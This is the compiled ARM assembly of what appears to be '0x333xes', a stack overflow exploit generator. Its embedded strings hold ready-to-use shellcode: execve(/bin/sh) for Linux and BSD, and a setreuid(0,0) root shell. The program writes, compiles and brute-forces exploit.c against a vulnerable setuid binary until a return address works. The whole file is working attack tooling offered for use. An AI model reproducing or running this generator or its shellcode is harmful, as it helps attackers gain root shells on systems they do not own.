	.eabi_attribute 18, 4
	.file	"827287.c"
	.text
	.global	shark
	.section	.rodata
	.align	2
.LC0:
	.ascii	" \"touch xes\" shellcode [-test only-]\000"
	.align	2
.LC1:
	.ascii	"unsigned char test[] =\012\011\"\\xeb\\x30\\x5e\\x8"
	.ascii	"9\\x76\\x16\\x31\\xc0\\x88\"\012\011\"\\x46\\x08\\x"
	.ascii	"88\\x46\\x0b\\x88\\x46\\x15\\x89\"\012\011\"\\x46\\"
	.ascii	"x22\\xb0\\x0b\\x8d\\x5e\\x09\\x89\\x5e\"\012\011\"\\"
	.ascii	"x1a\\x8d\\x5e\\x0c\\x89\\x5e\\x1e\\x89\\xf3\"\012\011"
	.ascii	"\"\\x8d\\x4e\\x16\\x8d\\x56\\x22\\xcd\\x80\\x31\"\012"
	.ascii	"\011\"\\xc0\\xb0\\x01\\xcd\\x80\\xe8\\xcb\\xff\\xff"
	.ascii	"\"\012\011\"\\xff\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x7"
	.ascii	"3\\x68\"\012\011\"\\x20\\x2d\\x63\\x20\\x74\\x6f\\x"
	.ascii	"75\\x63\\x68\"\012\011\"\\x20\\x78\\x65\\x73\";\000"
	.align	2
.LC2:
	.ascii	" execve(/bin/sh); [linux]\000"
	.align	2
.LC3:
	.ascii	"unsigned char sharkode[] =\012\011\"\\x31\\xc0\\x50"
	.ascii	"\\x68\\x6e\\x2f\\x73\\x68\\x68\"\012\011\"\\x2f\\x2"
	.ascii	"f\\x62\\x69\\x89\\xe3\\x99\\x52\\x53\"\012\011\"\\x"
	.ascii	"89\\xe1\\xb0\\x0b\\xcd\\x80\";\000"
	.align	2
.LC4:
	.ascii	" execve(/bin/sh); [*BSD]\000"
	.align	2
.LC5:
	.ascii	"unsigned char sharkode[] =\012\011\"\\x31\\xc0\\x50"
	.ascii	"\\x68\\x6e\\x2f\\x73\\x68\\x68\"\012\011\"\\x2f\\x2"
	.ascii	"f\\x62\\x69\\x89\\xe3\\x50\\x54\\x53\"\012\011\"\\x"
	.ascii	"50\\xb0\\x3b\\xcd\\x80\";\000"
	.align	2
.LC6:
	.ascii	" setreuid(0,0)  shellcode\000"
	.align	2
.LC7:
	.ascii	"unsigned char sharkode[] =\012\011\"\\x31\\xc0\\x31"
	.ascii	"\\xdb\\x31\\xc9\\xb0\\x46\\xcd\"\012\011\"\\x80\\x3"
	.ascii	"1\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\"\012\011\"\\x"
	.ascii	"68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\"\012\011"
	.ascii	"\"\\x24\\x08\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\"\012"
	.ascii	"\011\"\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\";\000"
	.data
	.align	2
	.type	shark, %object
	.size	shark, 40
shark:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	0
	.word	0
	.global	off
	.bss
	.align	2
	.type	off, %object
	.size	off, 4
off:
	.space	4
	.section	.rodata
	.align	2
.LC8:
	.ascii	"0.3\000"
	.align	2
.LC9:
	.ascii	"\012 [~] 0x333xes => stack overflow exploit generat"
	.ascii	"or v%s [~]\012\000"
	.align	2
.LC10:
	.ascii	" [~]          coded by c0wboy ~ www.0x333.org      "
	.ascii	"    [~] \012\012\000"
	.align	2
.LC11:
	.ascii	" Usage : %s [ -b binary ] [ -e environ ] [ -w switc"
	.ascii	"h ]\000"
	.align	2
.LC12:
	.ascii	" [ -s type ] [ -x ] [ -l lenght ] [ -o lenght ] [ -"
	.ascii	"a align ] [ -h ]\012\000"
	.align	2
.LC13:
	.ascii	"\012 \011-b\011bugged binary\012\000"
	.align	2
.LC14:
	.ascii	" \011-e\011set environ variable bugged\012\000"
	.align	2
.LC15:
	.ascii	" \011-w\011set switch bugged\012\000"
	.align	2
.LC16:
	.ascii	" \011-s\011shellcode type [0-%d]\012\000"
	.align	2
.LC17:
	.ascii	" \011-x\011shellcode list\012\000"
	.align	2
.LC18:
	.ascii	" \011-l\011buffer lenght\012\000"
	.align	2
.LC19:
	.ascii	" \011-o\011evil buffer (nop+shellcode) lenght (defa"
	.ascii	"ult 1337)\012\000"
	.align	2
.LC20:
	.ascii	" \011-a\011align the buffer (try 1)\012\000"
	.align	2
.LC21:
	.ascii	" \011-h\011display this help\012\012\000"
	.text
	.align	2
	.global	usage
	.syntax unified
	.arm
	.fpu softvfp
	.type	usage, %function
usage:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, .L2
	ldr	r3, [r3]
	ldr	r2, .L2+4
	ldr	r1, .L2+8
	mov	r0, r3
	bl	fprintf
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #61
	mov	r1, #1
	ldr	r0, .L2+12
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	ldr	r2, [fp, #-8]
	ldr	r1, .L2+16
	mov	r0, r3
	bl	fprintf
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #68
	mov	r1, #1
	ldr	r0, .L2+20
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #20
	mov	r1, #1
	ldr	r0, .L2+24
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #33
	mov	r1, #1
	ldr	r0, .L2+28
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #23
	mov	r1, #1
	ldr	r0, .L2+32
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #3
	ldr	r1, .L2+36
	mov	r0, r3
	bl	fprintf
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #20
	mov	r1, #1
	ldr	r0, .L2+40
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #19
	mov	r1, #1
	ldr	r0, .L2+44
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #55
	mov	r1, #1
	ldr	r0, .L2+48
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #30
	mov	r1, #1
	ldr	r0, .L2+52
	bl	fwrite
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L2+56
	bl	fwrite
	mvn	r0, #332
	bl	exit
.L3:
	.align	2
.L2:
	.word	stderr
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.size	usage, .-usage
	.section	.rodata
	.align	2
.LC22:
	.ascii	"\012 [~] Shellcode Types :\012\000"
	.align	2
.LC23:
	.ascii	" --------------------- \012\000"
	.align	2
.LC24:
	.ascii	" [%d] %s\012\000"
	.text
	.align	2
	.global	shak_list
	.syntax unified
	.arm
	.fpu softvfp
	.type	shak_list, %function
shak_list:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	ldr	r3, .L7
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L7+4
	bl	fwrite
	ldr	r3, .L7
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L7+8
	bl	fwrite
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L5
.L6:
	ldr	r3, .L7
	ldr	r0, [r3]
	ldr	r2, .L7+12
	ldr	r3, [fp, #-8]
	ldr	r3, [r2, r3, lsl #3]
	ldr	r2, [fp, #-8]
	ldr	r1, .L7+16
	bl	fprintf
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L5:
	ldr	r2, .L7+12
	ldr	r3, [fp, #-8]
	ldr	r3, [r2, r3, lsl #3]
	cmp	r3, #0
	bne	.L6
	ldr	r3, .L7
	ldr	r3, [r3]
	mov	r1, r3
	mov	r0, #10
	bl	fputc
	mvn	r0, #332
	bl	exit
.L8:
	.align	2
.L7:
	.word	stdout
	.word	.LC22
	.word	.LC23
	.word	shark
	.word	.LC24
	.size	shak_list, .-shak_list
	.section	.rodata
	.align	2
.LC25:
	.ascii	"./exploit 0x%x\000"
	.align	2
.LC26:
	.ascii	" * testing 0x%x\012\000"
	.align	2
.LC27:
	.ascii	"r\000"
	.align	2
.LC28:
	.ascii	" [-] Error in testing exploit ...\012\012\000"
	.align	2
.LC29:
	.ascii	"xes\000"
	.align	2
.LC30:
	.ascii	" [~] ret address NOT found ..\012 [~] we suppose :\012"
	.ascii	"\012    [*] wrong buffer align\012 [~] try to solve"
	.ascii	" this problem ...\012\000"
	.align	2
.LC31:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	xes
	.syntax unified
	.arm
	.fpu softvfp
	.type	xes, %function
xes:
	@ args = 0, pretend = 0, frame = 64
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #64
	str	r0, [fp, #-64]
	ldr	r3, .L20
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L20+4
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L10
	ldr	r3, .L20+8
	str	r3, [fp, #-56]
	b	.L11
.L10:
	ldr	r3, .L20+12
	str	r3, [fp, #-56]
.L11:
	mov	r3, #1
	str	r3, [fp, #-60]
	b	.L12
.L16:
	sub	r3, fp, #44
	mov	r0, r3
	mov	r3, #33
	mov	r2, r3
	mov	r1, #0
	bl	memset
	sub	r3, fp, #44
	ldr	r2, [fp, #-56]
	ldr	r1, .L20+16
	mov	r0, r3
	bl	sprintf
	ldr	r3, .L20+20
	ldr	r3, [r3]
	ldr	r2, [fp, #-56]
	ldr	r1, .L20+24
	mov	r0, r3
	bl	fprintf
	sub	r3, fp, #44
	ldr	r1, .L20+28
	mov	r0, r3
	bl	popen
	str	r0, [fp, #-52]
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bne	.L13
	ldr	r3, .L20+32
	ldr	r3, [r3]
	mov	r2, #35
	mov	r1, #1
	ldr	r0, .L20+36
	bl	fwrite
	mvn	r0, #332
	bl	exit
.L13:
	ldr	r1, .L20+28
	ldr	r0, .L20+40
	bl	fopen
	str	r0, [fp, #-48]
	ldr	r3, [fp, #-48]
	cmp	r3, #0
	beq	.L14
	ldr	r0, [fp, #-52]
	bl	pclose
	ldr	r0, [fp, #-48]
	bl	fclose
	ldr	r3, [fp, #-56]
	add	r3, r3, #223
	b	.L18
.L14:
	ldr	r0, [fp, #-52]
	bl	pclose
	ldr	r3, [fp, #-60]
	add	r3, r3, #1
	str	r3, [fp, #-60]
	ldr	r3, [fp, #-56]
	add	r3, r3, #1
	str	r3, [fp, #-56]
.L12:
	ldr	r2, [fp, #-56]
	mvn	r3, #1073741824
	sub	r3, r3, r2
	ldr	r2, [fp, #-60]
	cmp	r3, r2
	bhi	.L16
	ldr	r3, [fp, #-64]
	cmp	r3, #0
	bne	.L17
	ldr	r3, .L20+32
	ldr	r3, [r3]
	mov	r2, #111
	mov	r1, #1
	ldr	r0, .L20+44
	bl	fwrite
.L17:
	ldr	r3, .L20+48
.L18:
	ldr	r2, .L20
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L19
	bl	__stack_chk_fail
.L19:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L21:
	.align	2
.L20:
	.word	.LC31
	.word	off
	.word	-1073749761
	.word	-1073745152
	.word	.LC25
	.word	stdout
	.word	.LC26
	.word	.LC27
	.word	stderr
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	819
	.size	xes, .-xes
	.section	.rodata
	.align	2
.LC32:
	.ascii	" [-] explotable-buffer is too long\012\000"
	.align	2
.LC33:
	.ascii	" [-] ret-buffer too long\012\000"
	.align	2
.LC34:
	.ascii	"xhb:e:w:s:l:o:a:\000"
	.align	2
.LC35:
	.ascii	"\012 [~] 0x333xes => stack flow exploit generator ["
	.ascii	"~]\012\000"
	.align	2
.LC36:
	.ascii	" [~]      coded by c0wboy ~ www.0x333.org     [~] \012"
	.ascii	"\012\000"
	.align	2
.LC37:
	.ascii	" [*] creating source code ...\012\000"
	.align	2
.LC38:
	.ascii	"rm -rf xes\000"
	.align	2
.LC39:
	.ascii	"w\000"
	.align	2
.LC40:
	.ascii	"exploit.c\000"
	.align	2
.LC41:
	.ascii	" [-] Error in creating %s\012\000"
	.align	2
.LC42:
	.ascii	"/*  Generated with 0x333xes ~ coded by c0wboy\012 *"
	.ascii	"\000"
	.align	2
.LC43:
	.ascii	"\012 *  ~ www.0x333.org ~\012 *\012 */ \000"
	.align	2
.LC44:
	.ascii	"\012#include <stdio.h>\012#include <stdlib.h>\012#i"
	.ascii	"nclude <unistd.h>\012\000"
	.align	2
.LC45:
	.ascii	"#include <string.h>\012\012#define BIN\011\"%s\"\012"
	.ascii	"#define NOP\0110x90\012\000"
	.align	2
.LC46:
	.ascii	"#define BUFFER\011%i\012\000"
	.align	2
.LC47:
	.ascii	"#define OUTSIDE\011%i\012\000"
	.align	2
.LC48:
	.ascii	"#define ALIGN\0110\012\000"
	.align	2
.LC49:
	.ascii	"#define ALIGN\011%d\012\000"
	.align	2
.LC50:
	.ascii	"#define RET\0110x%x\012\000"
	.align	2
.LC51:
	.ascii	"\012\012%s\012\000"
	.align	2
.LC52:
	.ascii	"int\012main ()\012\000"
	.align	2
.LC53:
	.ascii	"int\012main (int argc, char * argv[])\012\000"
	.align	2
.LC54:
	.ascii	"{\012   int x;\012   char buf[BUFFER], *bufz;\012\000"
	.align	2
.LC55:
	.ascii	"{\012   int x;\012   char buf[BUFFER], out[OUTSIDE]"
	.ascii	", *bufz;\012\000"
	.align	2
.LC56:
	.ascii	"   unsigned long ret_add = RET, *add_ptr ;\012\012\000"
	.align	2
.LC57:
	.ascii	"   unsigned long ret_add, *add_ptr ;\012\012   if ("
	.ascii	"argc != 2)\012      exit (-333);\012\012   ret_add "
	.ascii	"= strtoul (argv[1], &argv[1], 16);\012\012\000"
	.align	2
.LC58:
	.ascii	"   bufz = buf + ALIGN;\012   add_ptr = (long *)bufz"
	.ascii	";\012\012   for (x=0; x<BUFFER-1; x+=4)\012      *("
	.ascii	"add_ptr++)=ret_add;\012\012\000"
	.align	2
.LC59:
	.ascii	"   /* nop + shellcode */\012   memset ((char *)buf,"
	.ascii	" NOP, 333 + strlen (sharkode));\012   memcpy ((char"
	.ascii	" *)buf+333, sharkode, strlen (sharkode));\012\012\000"
	.align	2
.LC60:
	.ascii	"   /* nop + shellcode */\012   memset ((char *)buf,"
	.ascii	" NOP, 333 + strlen (test));\012   memcpy ((char *)b"
	.ascii	"uf+333, test, strlen (test));\012\012\000"
	.align	2
.LC61:
	.ascii	"   /* nop + shellcode */\012   memset ((char *)out,"
	.ascii	" NOP, OUTSIDE);\012\000"
	.align	2
.LC62:
	.ascii	"   memcpy ((char *)out + 333, sharkode, strlen(shar"
	.ascii	"kode));\012\012\000"
	.align	2
.LC63:
	.ascii	"   memcpy ((char *)out + 333, test, strlen(test));\012"
	.ascii	"\012\000"
	.align	2
.LC64:
	.ascii	"   memcpy((char *)out, \"OUT=\", 4);\012   putenv(o"
	.ascii	"ut);\012\012\000"
	.align	2
.LC65:
	.ascii	"   setenv (\"%s\", buf, 333);\012\000"
	.align	2
.LC66:
	.ascii	"\012   fprintf (stdout, \" Local exploit for %s\");"
	.ascii	"\012\000"
	.align	2
.LC67:
	.ascii	"   execl (BIN, BIN, \"%s\", buf, NULL);\012\000"
	.align	2
.LC68:
	.ascii	"   execl (BIN, BIN, NULL);\012\000"
	.align	2
.LC69:
	.ascii	"   execl (BIN, BIN, buf, NULL);\012\000"
	.align	2
.LC70:
	.ascii	"\012   return 0;\012}\012\012\000"
	.align	2
.LC71:
	.ascii	"gcc %s -o exploit\000"
	.align	2
.LC72:
	.ascii	" [*] exploit created\012\000"
	.align	2
.LC73:
	.ascii	" [*] now find correct ret add\012\000"
	.align	2
.LC74:
	.ascii	" [-] exploit doesn't work ...\012    [**] maybe bin"
	.ascii	"ary has not -stack- overflow problem [**]\012 [-] o"
	.ascii	"ther problems can be detected by reading source cod"
	.ascii	"e ...\012 [-] sorry\012\000"
	.align	2
.LC75:
	.ascii	"rm -rf exploit xes\000"
	.align	2
.LC76:
	.ascii	"\012 [*] your working exploit for %s is ready !\012"
	.ascii	"\012\000"
	.align	2
.LC77:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 160
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #160
	str	r0, [fp, #-160]
	str	r1, [fp, #-164]
	ldr	r3, .L73
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-156]
	mov	r3, #0
	str	r3, [fp, #-152]
	ldr	r3, .L73+4
	str	r3, [fp, #-148]
	mov	r3, #0
	str	r3, [fp, #-144]
	mov	r3, #0
	str	r3, [fp, #-140]
	mov	r3, #0
	str	r3, [fp, #-136]
	mov	r3, #0
	str	r3, [fp, #-132]
	mov	r3, #0
	str	r3, [fp, #-128]
	mov	r3, #0
	str	r3, [fp, #-124]
	b	.L23
.L39:
	ldr	r3, [fp, #-116]
	sub	r3, r3, #97
	cmp	r3, #23
	ldrls	pc, [pc, r3, asl #2]
	b	.L24
.L26:
	.word	.L34
	.word	.L33
	.word	.L24
	.word	.L24
	.word	.L32
	.word	.L24
	.word	.L24
	.word	.L31
	.word	.L24
	.word	.L24
	.word	.L24
	.word	.L30
	.word	.L24
	.word	.L24
	.word	.L29
	.word	.L24
	.word	.L24
	.word	.L24
	.word	.L28
	.word	.L24
	.word	.L24
	.word	.L24
	.word	.L27
	.word	.L25
.L33:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	str	r3, [fp, #-132]
	b	.L23
.L32:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	str	r3, [fp, #-124]
	ldr	r3, .L73+12
	mov	r2, #1
	str	r2, [r3]
	b	.L23
.L27:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	str	r3, [fp, #-128]
	b	.L23
.L28:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-156]
	ldr	r3, [fp, #-156]
	cmp	r3, #0
	blt	.L35
	ldr	r3, [fp, #-156]
	cmp	r3, #3
	ble	.L23
.L35:
	ldr	r3, [fp, #-164]
	ldr	r3, [r3]
	mov	r0, r3
	bl	usage
	b	.L23
.L25:
	bl	shak_list
.L30:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-152]
	ldr	r3, [fp, #-152]
	cmp	r3, #10240
	ble	.L23
	ldr	r3, .L73+16
	ldr	r3, [r3]
	mov	r2, #35
	mov	r1, #1
	ldr	r0, .L73+20
	bl	fwrite
	mvn	r0, #332
	bl	exit
.L29:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-148]
	ldr	r3, [fp, #-148]
	ldr	r2, .L73+4
	cmp	r3, r2
	ble	.L23
	ldr	r3, .L73+16
	ldr	r3, [r3]
	mov	r2, #25
	mov	r1, #1
	ldr	r0, .L73+24
	bl	fwrite
	mvn	r0, #332
	bl	exit
.L34:
	ldr	r3, .L73+8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-140]
	b	.L23
.L31:
	ldr	r3, [fp, #-164]
	ldr	r3, [r3]
	mov	r0, r3
	bl	usage
.L24:
	ldr	r3, [fp, #-164]
	ldr	r3, [r3]
	mov	r0, r3
	bl	usage
.L23:
	ldr	r2, .L73+28
	ldr	r1, [fp, #-164]
	ldr	r0, [fp, #-160]
	bl	getopt
	str	r0, [fp, #-116]
	ldr	r3, [fp, #-116]
	cmn	r3, #1
	bne	.L39
	ldr	r3, [fp, #-132]
	cmp	r3, #0
	beq	.L40
	ldr	r3, [fp, #-152]
	cmp	r3, #0
	beq	.L40
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	beq	.L41
	ldr	r3, [fp, #-128]
	cmp	r3, #0
	beq	.L41
.L40:
	ldr	r3, [fp, #-164]
	ldr	r3, [r3]
	mov	r0, r3
	bl	usage
.L41:
	ldr	r3, .L73+32
	ldr	r3, [r3]
	mov	r2, #51
	mov	r1, #1
	ldr	r0, .L73+36
	bl	fwrite
	ldr	r3, .L73+32
	ldr	r3, [r3]
	mov	r2, #52
	mov	r1, #1
	ldr	r0, .L73+40
	bl	fwrite
	ldr	r3, .L73+32
	ldr	r3, [r3]
	mov	r2, #30
	mov	r1, #1
	ldr	r0, .L73+44
	bl	fwrite
.L42:
	ldr	r0, .L73+48
	bl	system
	ldr	r1, .L73+52
	ldr	r0, .L73+56
	bl	fopen
	str	r0, [fp, #-112]
	ldr	r3, [fp, #-112]
	cmp	r3, #0
	bne	.L43
	ldr	r3, .L73+16
	ldr	r3, [r3]
	ldr	r2, .L73+56
	ldr	r1, .L73+60
	mov	r0, r3
	bl	fprintf
	mvn	r0, #332
	bl	exit
.L43:
	ldr	r3, [fp, #-112]
	mov	r2, #48
	mov	r1, #1
	ldr	r0, .L73+64
	bl	fwrite
	ldr	r3, [fp, #-112]
	mov	r2, #30
	mov	r1, #1
	ldr	r0, .L73+68
	bl	fwrite
	ldr	r3, [fp, #-112]
	mov	r2, #60
	mov	r1, #1
	ldr	r0, .L73+72
	bl	fwrite
	ldr	r2, [fp, #-132]
	ldr	r1, .L73+76
	ldr	r0, [fp, #-112]
	bl	fprintf
	ldr	r2, [fp, #-152]
	ldr	r1, .L73+80
	ldr	r0, [fp, #-112]
	bl	fprintf
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	bne	.L44
	ldr	r2, [fp, #-148]
	ldr	r1, .L73+84
	ldr	r0, [fp, #-112]
	bl	fprintf
.L44:
	ldr	r3, [fp, #-136]
	cmp	r3, #0
	beq	.L45
	mov	r3, #1
	str	r3, [fp, #-140]
.L45:
	ldr	r3, [fp, #-140]
	cmp	r3, #0
	bne	.L46
	ldr	r3, [fp, #-112]
	mov	r2, #16
	mov	r1, #1
	ldr	r0, .L73+88
	bl	fwrite
	b	.L47
.L46:
	ldr	r2, [fp, #-140]
	ldr	r1, .L73+92
	ldr	r0, [fp, #-112]
	bl	fprintf
.L47:
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L48
	ldr	r2, [fp, #-120]
	ldr	r1, .L73+96
	ldr	r0, [fp, #-112]
	bl	fprintf
.L48:
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L49
	ldr	r2, .L73+100
	ldr	r3, [fp, #-156]
	lsl	r3, r3, #3
	add	r3, r2, r3
	ldr	r3, [r3, #4]
	mov	r2, r3
	ldr	r1, .L73+104
	ldr	r0, [fp, #-112]
	bl	fprintf
	b	.L50
.L49:
	ldr	r3, .L73+100
	ldr	r3, [r3, #4]
	mov	r2, r3
	ldr	r1, .L73+104
	ldr	r0, [fp, #-112]
	bl	fprintf
.L50:
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L51
	ldr	r3, [fp, #-112]
	mov	r2, #12
	mov	r1, #1
	ldr	r0, .L73+108
	bl	fwrite
	b	.L52
.L51:
	ldr	r3, [fp, #-112]
	mov	r2, #35
	mov	r1, #1
	ldr	r0, .L73+112
	bl	fwrite
.L52:
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	beq	.L53
	ldr	r3, [fp, #-112]
	mov	r2, #40
	mov	r1, #1
	ldr	r0, .L73+116
	bl	fwrite
	b	.L54
.L53:
	ldr	r3, [fp, #-112]
	mov	r2, #54
	mov	r1, #1
	ldr	r0, .L73+120
	bl	fwrite
.L54:
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L55
	ldr	r3, [fp, #-112]
	mov	r2, #44
	mov	r1, #1
	ldr	r0, .L73+124
	bl	fwrite
	b	.L56
.L55:
	ldr	r3, [fp, #-112]
	mov	r2, #123
	mov	r1, #1
	ldr	r0, .L73+128
	bl	fwrite
.L56:
	ldr	r3, [fp, #-112]
	mov	r2, #111
	mov	r1, #1
	ldr	r0, .L73+132
	bl	fwrite
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	beq	.L57
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L58
	ldr	r3, [fp, #-112]
	mov	r2, #139
	mov	r1, #1
	ldr	r0, .L73+136
	bl	fwrite
	b	.L59
.L58:
	ldr	r3, [fp, #-112]
	mov	r2, #127
	mov	r1, #1
	ldr	r0, .L73+140
	bl	fwrite
	b	.L59
.L57:
	ldr	r3, [fp, #-112]
	mov	r2, #64
	mov	r1, #1
	ldr	r0, .L73+144
	bl	fwrite
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L60
	ldr	r3, [fp, #-112]
	mov	r2, #60
	mov	r1, #1
	ldr	r0, .L73+148
	bl	fwrite
	b	.L61
.L60:
	ldr	r3, [fp, #-112]
	mov	r2, #52
	mov	r1, #1
	ldr	r0, .L73+152
	bl	fwrite
.L61:
	ldr	r3, [fp, #-112]
	mov	r2, #52
	mov	r1, #1
	ldr	r0, .L73+156
	bl	fwrite
.L59:
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	beq	.L62
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L63
	ldr	r1, [fp, #-112]
	mov	r0, #10
	bl	fputc
.L63:
	ldr	r2, [fp, #-124]
	ldr	r1, .L73+160
	ldr	r0, [fp, #-112]
	bl	fprintf
.L62:
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	beq	.L64
	ldr	r2, [fp, #-132]
	ldr	r1, .L73+164
	ldr	r0, [fp, #-112]
	bl	fprintf
.L64:
	ldr	r3, [fp, #-128]
	cmp	r3, #0
	beq	.L65
	ldr	r2, [fp, #-128]
	ldr	r1, .L73+168
	ldr	r0, [fp, #-112]
	bl	fprintf
	b	.L66
.L65:
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	beq	.L67
	ldr	r3, [fp, #-112]
	mov	r2, #27
	mov	r1, #1
	ldr	r0, .L73+172
	bl	fwrite
	b	.L66
.L67:
	ldr	r3, [fp, #-112]
	mov	r2, #32
	mov	r1, #1
	ldr	r0, .L73+176
	bl	fwrite
.L66:
	ldr	r3, [fp, #-112]
	mov	r2, #17
	mov	r1, #1
	ldr	r0, .L73+180
	bl	fwrite
	ldr	r0, [fp, #-112]
	bl	fclose
	ldr	r3, [fp, #-144]
	cmp	r3, #0
	bne	.L68
	sub	r3, fp, #108
	ldr	r2, .L73+56
	ldr	r1, .L73+184
	mov	r0, r3
	bl	sprintf
	sub	r3, fp, #108
	mov	r0, r3
	bl	system
	ldr	r3, .L73+32
	ldr	r3, [r3]
	mov	r2, #21
	mov	r1, #1
	ldr	r0, .L73+188
	bl	fwrite
	ldr	r3, .L73+32
	ldr	r3, [r3]
	mov	r2, #30
	mov	r1, #1
	ldr	r0, .L73+192
	bl	fwrite
	ldr	r0, [fp, #-136]
	bl	xes
	str	r0, [fp, #-120]
	ldr	r3, [fp, #-120]
	ldr	r2, .L73+196
	cmp	r3, r2
	bne	.L69
	ldr	r3, [fp, #-136]
	cmp	r3, #0
	beq	.L70
	ldr	r3, [fp, #-112]
	mov	r2, #164
	mov	r1, #1
	ldr	r0, .L73+200
	bl	fwrite
	mvn	r0, #332
	bl	exit
.L70:
	mov	r3, #1
	str	r3, [fp, #-136]
	b	.L42
.L69:
	mov	r3, #1
	str	r3, [fp, #-144]
	b	.L42
.L68:
	ldr	r0, .L73+204
	bl	system
	ldr	r3, .L73+32
	ldr	r3, [r3]
	ldr	r2, [fp, #-132]
	ldr	r1, .L73+208
	mov	r0, r3
	bl	fprintf
	mov	r3, #0
	ldr	r2, .L73
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L72
	bl	__stack_chk_fail
.L72:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L74:
	.align	2
.L73:
	.word	.LC77
	.word	1337
	.word	optarg
	.word	off
	.word	stderr
	.word	.LC32
	.word	.LC33
	.word	.LC34
	.word	stdout
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.word	.LC40
	.word	.LC41
	.word	.LC42
	.word	.LC43
	.word	.LC44
	.word	.LC45
	.word	.LC46
	.word	.LC47
	.word	.LC48
	.word	.LC49
	.word	.LC50
	.word	shark
	.word	.LC51
	.word	.LC52
	.word	.LC53
	.word	.LC54
	.word	.LC55
	.word	.LC56
	.word	.LC57
	.word	.LC58
	.word	.LC59
	.word	.LC60
	.word	.LC61
	.word	.LC62
	.word	.LC63
	.word	.LC64
	.word	.LC65
	.word	.LC66
	.word	.LC67
	.word	.LC68
	.word	.LC69
	.word	.LC70
	.word	.LC71
	.word	.LC72
	.word	.LC73
	.word	819
	.word	.LC74
	.word	.LC75
	.word	.LC76
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
